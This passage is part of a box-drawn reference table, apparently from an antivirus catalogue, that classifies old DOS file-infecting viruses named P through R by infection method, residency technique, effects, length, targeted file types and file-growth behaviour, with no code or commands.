ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºPhalcon.984 ¦FIND¦ * ¦ H ¦984 ¦ .C * ¦ e ¦ L º
º.BobRoss.1110 ¦FIND¦ - ¦ V ¦1110 ¦ .C * ¦ e ¦ L º
º.BobRoss.1117(2¦FIND¦ - ¦ V ¦1117 ¦ .C * ¦ e ¦ L º
º.BobRoss.1133 ¦FIND¦ - ¦ V ¦1133 ¦ .C * ¦ e ¦ L º
º.Dcool ¦FIND¦ - ¦ V ¦1811 ¦ .C * ¦ e ¦ L º
º.Maria ¦FIND¦ - ¦ HV ¦1126 ¦ .C * ¦ e ¦ L º
º.Psychosis ¦FIND¦ - ¦ V ¦1202 ¦ .C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºPhantom1.7000(4)INT ¦KEEP¦ V ¦7000 ¦ CE * ¦ e ¦ L+? º
ºPhantom1.7100 ¦INT ¦KEEP¦ V ¦7100 ¦ CE * ¦ e ¦ L+? º
ºPhantom1.7160 ¦INT ¦KEEP¦ V ¦7160 ¦ CE * ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºPHB.4315 ¦FIND¦ - ¦ HV ¦4315 ¦ *.* * ¦ s ¦ 0, overwrite º
ºPHB.4461 ¦FIND¦ - ¦ V ¦4461 ¦ .C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºPhoenix.800 ¦INT ¦MCB ¦ - ¦800 ¦ .C&C ¦ i ¦ L ++ º
ºPhoenix.1226 ¦INT ¦MCB ¦ - ¦1226 ¦ .C&C ¦ i ¦ L º
ºPhoenix.1302 ¦INT ¦MCB ¦ H ¦1302 ¦ C ¦ i ¦ L ++ º
ºPhoenix.1701 ¦INT ¦MCB ¦ H ¦1701 ¦ C ¦ i ¦ L º
ºPhoenix.1704 ¦INT ¦MCB ¦ H ¦1704 ¦ C ¦ i ¦ L º
ºPhoenix.2000(2)¦INT ¦MCB ¦ H ¦2000 ¦ C ¦ i ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºPhx.823 ¦INT ¦MCB ¦ - ¦823 ¦ .C.E&CE *¦ e ¦ C-L, E-L+p º
ºPhx.965 ¦INT ¦MCB ¦ H ¦965 ¦ .C.E&CE *¦ e ¦ C-L, E-L+p º
ºPhx.1289 ¦INT ¦MCB ¦ H ¦1289 ¦ CE ¦ e ¦ C-L, E-L+p º
ºPhx.1295 ¦INT ¦MCB ¦ H ¦1295 ¦ CE ¦ e ¦ C-L, E-L+p º
ºPhx.1336 ¦INT ¦MCB ¦ H ¦1336 ¦ CE ¦ e ¦ C-L, E-L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºPindonga.3550 ¦INT ¦MCB ¦ HV ¦3550 ¦ .C.E&CE* ¦ e ¦ L+? º
ºPindonga.3652 ¦INT ¦MCB ¦ HV ¦3652 ¦ .C.E&CE* ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºPixel.299 ¦FIND¦ - ¦ V ¦299 ¦ .C * ¦ s ¦ L º
ºPixel.342 ¦FIND¦ - ¦ V ¦342 ¦ .C * ¦ s ¦ L º
ºPixel.345 ¦FIND¦ - ¦ V ¦345 ¦ .C * ¦ s ¦ L º
ºPixel.457 ¦FIND¦ - ¦ V ¦457 ¦ .C * ¦ s ¦ L º
ºPixel.550 ¦FIND¦ - ¦ V ¦550 ¦ .C * ¦ s ¦ L º
ºPixel.739 ¦FIND¦ - ¦ - ¦739 ¦ .C ¦ s ¦ L º
ºPixel.740 ¦FIND¦ - ¦ - ¦740 ¦ .C ¦ s ¦ L º
ºPixel.846 ¦FIND¦ - ¦ V ¦846 ¦ .C * ¦ s ¦ L º
ºPixel.847 (2)¦FIND¦ - ¦ V ¦847 ¦ .C * ¦ s ¦ L º
ºPixel.851 ¦FIND¦ - ¦ V ¦851 ¦ .C * ¦ s ¦ L º
ºPixel.852 ¦FIND¦ - ¦ V ¦852 ¦ .C * ¦ s ¦ L º
ºPixel.877 ¦FIND¦ - ¦ V ¦877 ¦ .C * ¦ s ¦ L ++ º
ºPixel.1268 ¦FIND¦ - ¦ V ¦1268 ¦ .C * ¦ s ¦ L ++ º
ºPixel.1271 ¦FIND¦ - ¦ V ¦1271 ¦ .C * ¦ s ¦ L º
º.Areill ¦FIND¦ - ¦ V ¦573 ¦ .C ¦ s ¦ L º
º.Flea.1577 ¦FIND¦ - ¦ H ¦1577 ¦ .C&A*.* *¦ s ¦ L, 0-overwrite º
º.Flea.1647 ¦FIND¦ - ¦ H ¦1647 ¦ .C&A*.* *¦ s ¦ L, 0-overwrite º
º.Hydra.340 ¦FIND¦ - ¦ VCh¦340 ¦ .C * ¦ s ¦ L º
º.Hydra.342 ¦FIND¦ - ¦ VCh¦342 ¦ .C * ¦ s ¦ L º
º.Hydra.343 ¦FIND¦ - ¦ VCh¦343 ¦ .C * ¦ s ¦ L º
º.Hydra.368 ¦FIND¦ - ¦ H ¦368 ¦ .C * ¦ s ¦ L º
º.Hydra.372 ¦FIND¦ - ¦ H ¦372 ¦ .C * ¦ s ¦ L º
º.Hydra.391 ¦FIND¦ - ¦ H ¦391 ¦ .C * ¦ s ¦ L º
º.Hydra.403 ¦FIND¦ - ¦ VCh¦403 ¦ .C * ¦ s ¦ L º
º.Hydra.495 ¦FIND¦ - ¦ HV ¦495 ¦ .C * ¦ s ¦ L º
º.Hydra.736 ¦FIND¦ - ¦ V ¦736 ¦ .C * ¦ s ¦ L º
º.Hydra.1667 ¦FIND¦ - ¦ V ¦1667 ¦ .C&C ¦ s ¦ L º
º.Hydra.2300 ¦FIND¦ - ¦ V ¦2300 ¦ .C&C ¦ s ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºPlatov.1644 ¦INFI¦ADDR¦ HV ¦1644 ¦ .C&C* ¦ e ¦ L º
ºPlatov.1700 ¦INFI¦ADDR¦ HV ¦1700 ¦ .C&C* ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºPly.based viruses º
ÇÄ Ä Ä Ä Ä Ä Ä Ä†Ä Ä † Ä Ä† Ä Ä† Ä Ä † Ä Ä Ä Ä Ä † Ä Ä † Ä Ä Ä Ä Ä Ä Ä Ä Ä¶
ºPly.3360 ¦FIND¦ - ¦ Er ¦3360 ¦ .E&E * ¦ e ¦ L º
ºPly.3486 ¦FIND¦ - ¦ Er ¦3486 ¦ .E&E * ¦ e ¦ L º
ºPly.3759 ¦FIND¦ - ¦ Er ¦3759 ¦ .E&E * ¦ e ¦ L º
ºPly.3768 ¦FIND¦ - ¦ Er ¦3768 ¦ .E&E * ¦ e ¦ L º
ºPly.4224 ¦FIND¦ - ¦ Er ¦4224 ¦ .E&E * ¦ e ¦ L º
ºPly.4722 ¦FIND¦ - ¦ HEr¦4722 ¦ .E&E * ¦ e ¦ L º
ºPly.5133 ¦FIND¦ - ¦ HEr¦5133 ¦ .E&E * ¦ e ¦ L º
ºPly.5175 ¦FIND¦ - ¦ HEr¦5175 ¦ .E&E * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºPME.based viruses º
ÇÄ Ä Ä Ä Ä Ä Ä Ä†Ä Ä † Ä Ä† Ä Ä† Ä Ä † Ä Ä Ä Ä Ä † Ä Ä † Ä Ä Ä Ä Ä Ä Ä Ä Ä¶
ºPME.Burglar ¦INT ¦MCB ¦ VEr¦3788 ¦ .C.E&CE* ¦CsEe ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºPojer.1941 ¦INT ¦MCB ¦ VS ¦1941 ¦ .C.E&CE *¦ e ¦ L º
ºPojer.4028 ¦INT ¦MCB ¦ VS ¦4028 ¦ .C.E&CE *¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºPorridge.1061(2¦FIND¦ - ¦ V ¦1061 ¦ .C ¦ s ¦ L º
ºPorridge.1384 ¦FIND¦ - ¦ V ¦1384 ¦ .C ¦ s ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºPossessed.2175 ¦INT ¦KEEP¦ HV ¦2175 ¦ CE * ¦ e ¦ C-L, E-L+p º
ºPossessed.2367 ¦INT ¦KEEP¦ HV ¦2367 ¦ CE * ¦ e ¦ C-L, E-L+p º
ºPossessed.2438 ¦INT ¦KEEP¦ HV ¦2438 ¦ CE * ¦ e ¦ C-L, E-L+p º
ºPossessed.2443 ¦INT ¦KEEP¦ HV ¦2443 ¦ CE * ¦ e ¦ C-L, E-L+p º
ºPossessed.2446(2INT ¦KEEP¦ HV ¦2446 ¦ CE * ¦ e ¦ C-L, E-L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºPredator.1063 ¦INT ¦MCB ¦ Ch ¦1063 ¦ .C&C * ¦ e ¦ L º
ºPredator.1072(2)INT ¦MCB ¦ Ch ¦1072 ¦ .C&C * ¦ e ¦ L º
ºPredator.1137 ¦INT ¦MCB ¦ Ch ¦1137 ¦ .C&C * ¦ e ¦ L º
ºPredator.1148 ¦INT ¦MCB ¦ Ch ¦1148 ¦ .C&C * ¦ e ¦ L º
ºPredator.1154 ¦INT ¦MCB ¦ Ch ¦1154 ¦ .C&C * ¦ e ¦ L º
ºPredator.1195 ¦INT ¦MCB ¦ Ch ¦1195 ¦ .C&C * ¦ e ¦ L º
ºPredator.1879 ¦INT ¦MCB ¦ Ch ¦1879 ¦ CE ¦ e ¦ L º
ºPredator.2448 ¦INT ¦MCB ¦ - ¦2448 ¦ CE+boot * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºProblem.734 ¦INT ¦MCB ¦ - ¦734 ¦ E * ¦ e ¦ L º
ºProblem.845 ¦INT ¦MCB ¦ - ¦845 ¦ .C.E&CE* ¦ e ¦ L º
ºProblem.854 ¦INT ¦MCB ¦ - ¦854 ¦ .C.E&CE* ¦ e ¦ L º
ºProblem.856 ¦INT ¦MCB ¦ - ¦856 ¦ .C.E&CE* ¦ e ¦ L º
ºProblem.857 ¦INT ¦MCB ¦ - ¦857 ¦ .C.E&CE* ¦ e ¦ L º
ºProblem.863 ¦INT ¦MCB ¦ - ¦863 ¦ .C.E&CE* ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºProtect.1323 ¦INT ¦MCB ¦ V ¦1323 ¦ CE ¦ e ¦ L º
ºProtect.2535 ¦INT ¦MCB ¦ V ¦2535 ¦ CE ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºPanek.1939 ¦FIND¦ - ¦ V ¦1939 ¦ .E ¦ e ¦ L º
ºPantera.400 ¦INT ¦MCB ¦ - ¦400 ¦ C * ¦ e ¦ L º
ºPapercut.2717 ¦INT ¦MCB ¦ - ¦2717 ¦ CE ¦ e ¦ L º
ºPaul.1536 ¦INT ¦MCB ¦ - ¦1536 ¦ CE * ¦ e ¦ L º
ºPaulus.1804 ¦INT ¦MCB ¦ VCh¦1804 ¦ CE * ¦ e ¦ L º
ºPcbb.J4j.833 ¦INT ¦MCB ¦ - ¦833 ¦ .C&C* ¦ e ¦ L º
ºPeaceKeeper.3820INT ¦MCB ¦ HV ¦3820 ¦ CE * ¦CieEe¦ L+? º
ºPeach.887 ¦INT ¦MCB ¦ - ¦887 ¦ CE * ¦ e ¦ L+p º
ºPeel.334 ¦FIND¦ - ¦ H ¦334 ¦ .C * ¦ e ¦ L º
ºPenetrator.491 ¦INT ¦MCB ¦ V ¦491 ¦ C * ¦ e ¦ L+p º
ºPest.2743 ¦INT ¦MCB ¦ H ¦2743 ¦ CE * ¦ e ¦ L+? º
ºPh33r.1332 ¦INT ¦MCB ¦ - ¦1332 ¦ CEO ¦ e ¦ L º
ºPhardera.5824 ¦INT ¦MCB ¦ V ¦5824 ¦ .C.E&CE* ¦ e ¦ L º
ºPhisDept.6294 ¦INT ¦MCB ¦ HV ¦6294 ¦ CE * ¦CsEi ¦ L º
ºPhoenix.800 ¦INT ¦MCB ¦ - ¦800 ¦ .C&C ¦ i ¦ L ++ º
ºPhonix.927 ¦INT ¦MCB ¦ HV ¦927 ¦ .C.E* ¦ e ¦ L º
ºPiaf.1859 ¦INT ¦KEEP¦ V ¦1859 ¦ CE ¦ CsEe¦ L º
ºPieck.2016 ¦INT ¦MCB ¦ V ¦2016 ¦ E+boot* ¦ e ¦ L º
ºPifPaf.760 ¦INT ¦MCB ¦ - ¦760 ¦ CE * ¦ e ¦ L º
ºPit.611 ¦FIND¦ - ¦ H ¦611 ¦ .C * ¦ e ¦ L+p º
ºPiter.529 ¦INT ¦KEEP¦ - ¦529 ¦ .C * ¦ s ¦ L º
ºPk.4096 ¦FIND¦ - ¦ - ¦4096 ¦ .C.E&CE ¦ e ¦ L º
ºPlague.2647 ¦INT ¦MCB ¦ - ¦2647 ¦ .C.E&CES*¦ e ¦ L º
ºPlayGame.2000 ¦INT ¦MCB ¦ V ¦2000 ¦ .E&E+boot¦ e *¦ L º
ºPM.Wanderer ¦INT ¦PMod¦ - ¦3684 ¦ .C.E&CE *¦CsEi ¦ L+256+? º
ºPolifemo.906 ¦FIND¦ - ¦ - ¦906 ¦ .C ¦ e ¦ L º
ºPolimer.512 ¦FIND¦ - ¦ V ¦512 ¦ .C * ¦ s ¦ L º
ºPolska.4004 ¦INT ¦MCB ¦ V ¦4004 ¦ .C.E&CE *¦ e ¦ L º
ºPoro.1257 ¦INT ¦MCB ¦ HV ¦1257 ¦ CE * ¦ e ¦ L+p º
ºPoruchik.2774 ¦INFI¦MCB ¦ - ¦2774 ¦ .E&E * ¦ e ¦ L+p º
ºPowerPump ¦FIND¦ - ¦ - ¦1199 ¦ .E ¦ s ¦ L, companion º
ºPretentious.680¦FIND¦ - ¦ V ¦680 ¦ .C&C * ¦ e ¦ L º
ºPriest.1416 ¦FIND¦ - ¦ HV ¦1416 ¦ .C.E&CE *¦ e ¦ L º
ºPrinterceptor ¦INT ¦KEEP¦ Ch ¦987 ¦ .E *¦ s ¦ L, companion º
ºPrivet.1152 ¦INFI¦MCB ¦ V ¦1152 ¦ .E&E * ¦ e ¦ L+p º
ºProhibit.1500 ¦INT ¦MCB ¦ V ¦1500 ¦ .C.E&CE *¦ e ¦ L º
ºPromiscuo.2725 ¦INT ¦MCB ¦ HEr¦2725 ¦ .C.E&CE *¦ e ¦ L+? º
ºProto-T.CivilWarFIND¦ - ¦ - ¦ ? ¦ .C ¦ e ¦ L º
ºPrtSc.1024 (2)¦INT ¦MCB ¦ Er ¦1024 ¦ .C&C * ¦ s ¦ L º
ºPsycho.723 ¦FIND¦ - ¦ H ¦723 ¦ *.* ¦ s ¦ L, overwrite º
ºPunisher.1632 ¦INT ¦MCB ¦ - ¦1632 ¦ .C.E&CE *¦ e ¦ L º
ºPuppet.487 ¦INT ¦MCB ¦ - ¦487 ¦ C * ¦ e ¦ L º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
File infectors, part Q
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growingº
º ¦way ¦ ¦ects¦( L )¦ files ¦place¦ º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
ºQuish.239 ¦FIND¦ - ¦ - ¦239 ¦ .C ¦ e ¦ L º
ºQuish.303 ¦FIND¦ - ¦ Er ¦303 ¦ .C ¦ e ¦ L+(0-256) º
ºQuish.304 ¦FIND¦ - ¦ - ¦303 ¦ .C ¦ e ¦ L+(0-256) º
ºQuish.305 ¦FIND¦ - ¦ - ¦305 ¦ .C ¦ e ¦ L+(0-256) º
ºQuish.330 ¦FIND¦ - ¦ - ¦330 ¦ .C ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºQ.8Ball (2)¦INT ¦HMA*¦ - ¦512 ¦CONFIG+boot¦ e *¦ - º
º.IOwe ¦INT ¦VIDE¦ - ¦261 ¦ IO.SYS * ¦ s ¦ 0, inserting º
º.Shimmer (2)¦INT ¦HMA*¦ Ch ¦512 WINSTART+boot s ¦ L+0-261, create º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºQawo.719 ¦INT ¦MCB ¦ - ¦719 ¦ E * ¦ e ¦ L º
ºQmu.1513 ¦INT ¦KEEP¦ HCh¦1513 ¦ C+boot* ¦ e ¦ L º
ºQuasar.523 ¦INFI¦MCB ¦ H ¦523 ¦ .C.E ¦ i ¦ L, overwrite º
ºQudem.555 ¦INT ¦MCB ¦ - ¦555 ¦ .C&C * ¦ e ¦ L º
ºQuicky.1376 ¦INT ¦MCB ¦ Ch ¦1376 ¦ E ¦ e ¦ L º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
File infectors, part R
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growingº
º ¦way ¦ ¦ects¦( L )¦ files ¦place¦ º
ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍ͇ÍÍÍÍ͇ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹
ºRaseK.1489 ¦INT ¦MCB ¦ H ¦1489 ¦ CE+boot * ¦ e ¦ C-L, E-L+p º
ºRaseK.1490 ¦INT ¦MCB ¦ HEr¦1490 ¦ CE+boot * ¦ e ¦ C-L, E-L+p º
ºRaseK.1492 ¦INT ¦MCB ¦ H ¦1492 ¦ CE+boot * ¦ e ¦ C-L, E-L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºRadio101.1000 ¦INT ¦MCB ¦ V ¦1000 ¦ .C.E&CE* ¦ e ¦ L º
ºRadio101.2076 ¦INT ¦MCB ¦ V ¦2076 ¦ .C.E&CE* ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºRDA.Fighter.5871INT ¦MCB ¦ H ¦5871 ¦ .C.E&CE * ¦ e ¦ L+? º
º.Fighter.5969 ¦INT ¦MCB ¦ H ¦5969 ¦ .C.E&CE * ¦ e ¦ L+? º
º.Fighter.7408 ¦INT ¦MCB ¦ HV ¦7408 ¦ CE+boot* ¦ e ¦ L+? º
º.Fighter.7802 ¦INT ¦MCB ¦ V ¦7802 ¦ .C.E&CE * ¦ e ¦ L+? º
º.Fighter.7868 ¦INT ¦MCB ¦ V ¦7868 ¦ .C.E&CE * ¦ e ¦ L+? º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºRedArc.415 ¦FIND¦ - ¦ - ¦415 ¦ .C&C ¦ e ¦ L º
ºRedArc.based ¦INFI¦ ? ¦ ? ¦ ? ¦ C ¦ e ¦ L º
º.AD.243 ¦FIND¦ - ¦ - ¦243 ¦ .C ¦ e ¦ L º
º.AD.436 ¦FIND¦ - ¦ - ¦436 ¦ .C ¦ e ¦ L º
º.Drunk ¦FIND¦ - ¦ H ¦166 ¦ .C ¦ s ¦ 0, overwrite º
º.Fraud ¦FIND¦ - ¦ V ¦580 ¦ E * ¦ s ¦ L º
º.Helga.666 ¦FIND¦ - ¦ HV ¦666 ¦ .C&C * ¦ e ¦ L º
º.Stinger ¦FIND¦ - ¦ V ¦710 ¦ .C * ¦ e ¦ L º
º.Vesna.1000 (2)¦FIND¦ - ¦ HV ¦1000 ¦ .C * ¦ e ¦ L º
º.Vesna.1614 ¦FIND¦ - ¦ HV ¦1614 ¦ .C.E * ¦ e ¦ C-L+?, E-L+p º
º.Vesna.1724 ¦FIND¦ - ¦ HV ¦1724 ¦ .C.E * ¦ e ¦ C-L+?, E-L+p º
º.Vesna.1751 ¦FIND¦ - ¦ HV ¦1751 ¦ .C.E&CE* ¦ e ¦ C-L+?, E-L+p º
º.Vesna.1833 ¦FIND¦ - ¦ HV ¦1833 ¦ .C.E * ¦ e ¦ C-L+?, E-L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºRenegade.1176 ¦INT ¦MCB ¦ VEr¦1176 ¦ .E&E * ¦ i ¦ L º
ºRenegade.4509 ¦INT ¦MCB ¦ HV ¦4509 ¦ CE+boot * ¦ i ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºRescue.3423 (2)¦INT ¦MCB ¦ HV ¦3423 ¦ E ¦ e ¦ L+p º
ºRescue.3774 ¦INT ¦MCB ¦ HV ¦3774 ¦ E ¦ e ¦ L+p º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºRiot.309 ¦FIND¦ - ¦ H ¦309 ¦ .C * ¦ e ¦ L º
º.Demand ¦FIND¦ - ¦ H ¦789 ¦ .C.E * ¦ s ¦ 0, overwrite º
º.Enemy.757 ¦INT ¦MCB ¦ H ¦757 ¦ CE * ¦ s ¦ L, companion º
º.Evil.769 ¦INT ¦MCB ¦ - ¦769 ¦ C * ¦ e ¦ L º
º.Flood ¦INT ¦KEEP¦ HV ¦304 ¦ CEO * ¦ s ¦ 0, overwrite º
º.Marked.354 ¦INT ¦MCB ¦ HV ¦354 ¦ CE * ¦ s ¦ 0, overwrite º
º.Multiplex ¦FIND¦ - ¦ H ¦821 ¦ .C * ¦ e ¦ L º
º.Pollution ¦INT ¦MCB ¦ HS ¦823 ¦ .C&C * ¦ e ¦ L º
º.RatBoy.513 ¦FIND¦ - ¦ H ¦513 ¦ .C * ¦ e ¦ L º
º.RatBoy.545 ¦FIND¦ - ¦ H ¦545 ¦ .C * ¦ e ¦ L º
º.RatBoy.671 ¦FIND¦ - ¦ H ¦671 ¦ .C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºRmns.297 ¦INT ¦MCB ¦ - ¦297 ¦ C ¦ e ¦ L º
ºRmns.353 ¦INT ¦MCB ¦ - ¦353 ¦ C ¦ e ¦ L º
ºRmns.651 ¦INT ¦MCB ¦ - ¦651 ¦ C * ¦ e ¦ L º
ºRmns.736 ¦INT ¦MCB ¦ - ¦736 ¦ C * ¦ e ¦ L º
ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄĆÄÄÄÄĆÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĶ
ºRussel.1235 ¦INT ¦MCB ¦ H ¦1235 ¦ .C.E&CE ¦ e ¦ L º
ºRussel.3072 (3)¦INT ¦MCB ¦ - ¦3072 ¦ CE * ¦ e ¦ L º
